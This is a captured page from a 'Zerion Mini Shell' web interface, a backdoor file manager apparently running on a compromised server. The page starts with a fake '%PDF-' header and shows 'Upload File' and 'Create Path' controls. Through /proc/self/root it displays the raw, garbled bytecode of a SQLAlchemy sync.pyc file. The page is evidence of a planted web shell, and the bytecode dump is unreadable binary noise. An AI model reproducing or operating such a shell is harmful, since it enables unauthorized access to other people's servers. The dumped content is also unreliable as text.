%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/sync.pyc

�
��4]c@sydZddlmZddlmZddlmZd�Zd�Zd�Zd�Z	d	�Z
d
�Zd�ZdS(
sgprivate module containing functions used for copying data
between instances based on join conditions.

i(t
attributes(texc(tutilc
Cs1|j}|j}x|D]\}	}
y6|j|	}|j|jjj||tj�}Wn*tj	k
r�t
t||	||
�nXy4|j|
}|j|jjj|||d�Wn*tj	k
r�t
t||	||
�nX|r|	jr|
jr|
j|	�rt|jd||
f<qqWdS(Ntpk_cascaded(tdictt_columntopropertytmanagertkeytimpltgetRtPASSIVE_OFFRtUnmappedColumnErrort_raise_col_to_proptFalsetsettNonetTruetprimary_keyt
references(
tsourcet
source_mappertdesttdest_mappertsynchronize_pairst	uowcommittflag_cascaded_pkstsource_dictt	dest_dicttltrtproptvalue((sF/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/sync.pytpopulates&			

'		cCs�x�|D]�\}}y|j|}||j}Wn*tjk
r]tt||||�nXy|j|}|||j<Wqtjk
r�tt||||�qXqWdS(N(RRRRRR
R(RRRRRRR((sF/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/sync.pytbulk_populate_inherit_keys=s

cCs�x�|D]�\}}|jr_|j||j|�tjkr_td|tj|�f��ny|j||j|d�Wqt	j
k
r�ttd|||�qXqWdS(NsKDependency rule tried to blank-out primary key column '%s' on instance '%s'(
Rt_get_state_attr_by_columnRtorm_utilt	_none_settAssertionErrort	state_strt_set_state_attr_by_columnRRRRR(RRRRR((sF/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/sync.pytclearMs	c	Cs�x�|D]�\}}y=|j|j�|�}|j||j|dtj�}Wn*tjk
r|tt	||d|�nX|||j<||||j<qWdS(Ntpassive(t_get_committed_attr_by_columntobjR"RRR
RRRR
RR(	RRRt
old_prefixRRRtoldvalueR((sF/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/sync.pytupdate_s
cCszxs|D]k\}}y%|j||j|dtj�}Wn*tjk
rdtt||d|�nX|||j	<qWdS(NR)(
R"RRR
RRRR
RR(RRtdict_RRRR((sF/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/sync.pyt
populate_dictnscCs�x�|D]x\}}y|j|}Wn*tjk
rPtt||d|�nX|j||jtj	�}t
|j�rtSqWtSdS(spreturn true if the source object has changes from an old to a
    new value on the given synchronize pairs

    N(
RRRRR
Rtget_attribute_historyRRtPASSIVE_NO_INITIALIZEtbooltdeletedR(RRRRRRRthistory((sF/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/sync.pytsource_modifiedzscCsB|r"tjd||f��ntjd|||f��dS(Ns�Can't execute sync rule for destination column '%s'; mapper '%s' does not map this column.  Try using an explicit `foreign_keys` collection which does not include this column (or use a viewonly=True relation).s�Can't execute sync rule for source column '%s'; mapper '%s' does not map this column.  Try using an explicit `foreign_keys` collection which does not include destination column '%s' (or use a viewonly=True relation).(RR(tisdestRt
source_columnRtdest_column((sF/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/sync.pyR�sN(
t__doc__tRRRR#R R!R(R.R0R6R(((sF/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/sync.pyt<module>s	+					

Zerion Mini Shell 1.0